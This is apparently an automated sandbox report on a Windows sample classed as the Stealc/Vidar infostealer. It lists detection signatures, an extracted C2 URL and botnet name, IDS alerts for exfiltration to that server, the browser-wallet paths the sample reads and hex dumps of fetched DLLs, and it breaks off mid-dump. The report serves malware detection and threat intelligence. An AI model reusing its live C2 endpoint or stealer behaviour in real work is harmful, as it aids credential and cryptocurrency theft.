Edit tour

Windows Analysis Report
T220UXIoKO.exe

Overview

General Information

Sample name:	T220UXIoKO.exe renamed because original name is a hash value
Original sample name:	ae4d9a7e7f5a086b46b05f5949fc1c78.exe
Analysis ID:	1541124
MD5:	ae4d9a7e7f5a086b46b05f5949fc1c78
SHA1:	aad8e86e05fe87ea59267d9fc99687de1ebd0cbe
SHA256:	2eb45489a3253bd7ea77a5dc899e86a857fd8dab45dd89de0837289d6ffc5c05
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

T220UXIoKO.exe (PID: 6592 cmdline: "C:\Users\user\Desktop\T220UXIoKO.exe" MD5: AE4D9A7E7F5A086B46B05F5949FC1C78)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://109.107.157.208/49aaa1bd4c594849.php", "Botnet": "LogsDiller"}

Threatname: Vidar

{"C2 url": "http://109.107.157.208/49aaa1bd4c594849.php", "Botnet": "LogsDiller"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2934288445.00000000007E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1862:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2934433959.000000000090E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2934347582.0000000000830000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2934347582.0000000000830000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.1682295630.0000000000880000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: T220UXIoKO.exe PID: 6592	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: T220UXIoKO.exe PID: 6592	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: T220UXIoKO.exe PID: 6592	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: T220UXIoKO.exe PID: 6592	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.T220UXIoKO.exe.830e67.2.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.T220UXIoKO.exe.880000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.T220UXIoKO.exe.830e67.2.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.3.T220UXIoKO.exe.880000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.T220UXIoKO.exe.400000.1.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0.2.T220UXIoKO.exe.400000.1.raw.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T13:26:59.768301+0200	2044245	1	Malware Command and Control Activity Detected	109.107.157.208	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T13:26:59.758769+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	109.107.157.208	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T13:27:00.001938+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	109.107.157.208	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T13:27:12.526590+0200	2044249	1	Malware Command and Control Activity Detected	192.168.2.4	49730	109.107.157.208	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T13:27:00.578187+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	109.107.157.208	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T13:27:00.010159+0200	2044247	1	Malware Command and Control Activity Detected	109.107.157.208	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T13:26:59.496427+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	109.107.157.208	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T13:27:01.090865+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	109.107.157.208	80	TCP
2024-10-24T13:27:06.520520+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	109.107.157.208	80	TCP
2024-10-24T13:27:07.523079+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	109.107.157.208	80	TCP
2024-10-24T13:27:08.491835+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	109.107.157.208	80	TCP
2024-10-24T13:27:09.007127+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	109.107.157.208	80	TCP
2024-10-24T13:27:10.312050+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	109.107.157.208	80	TCP
2024-10-24T13:27:10.689495+0200	2803304	3	Unknown Traffic	192.168.2.4	49730	109.107.157.208	80	TCP
2024-10-24T13:27:15.286950+0200	2803304	3	Unknown Traffic	192.168.2.4	49731	185.98.131.200	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: T220UXIoKO.exe

Avira: detected

Found malware configuration

Source: 00000000.00000003.1682295630.0000000000880000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://109.107.157.208/49aaa1bd4c594849.php", "Botnet": "LogsDiller"}
Source: 00000000.00000003.1682295630.0000000000880000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": "http://109.107.157.208/49aaa1bd4c594849.php", "Botnet": "LogsDiller"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\JDAKJDAAFB.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: T220UXIoKO.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_00409B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_00409B60
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_0040C820 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcatA,lstrcatA,PK11_FreeSlot,lstrcatA,	0_2_0040C820
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_00407240 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00407240
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_00409AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00409AC0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_00418EA0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00418EA0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C6D6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C6D6C80

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Unpacked PE file: 0.2.T220UXIoKO.exe.400000.1.unpack

Source: T220UXIoKO.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\T220UXIoKO.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 185.98.131.200:443 -> 192.168.2.4:49731 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: T220UXIoKO.exe, 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: T220UXIoKO.exe, 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: T220UXIoKO.exe, 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: T220UXIoKO.exe, 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414910
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DA80
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E430
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE70
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004016D0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_00413EA0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F6B0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004138B0
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_00414570
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040ED20
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DE10

Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 109.107.157.208:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 109.107.157.208:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 109.107.157.208:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 109.107.157.208:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 109.107.157.208:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 109.107.157.208:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.4:49730 -> 109.107.157.208:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://109.107.157.208/49aaa1bd4c594849.php
Source: Malware configuration extractor	URLs: http://109.107.157.208/49aaa1bd4c594849.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 11:27:00 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 11:27:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
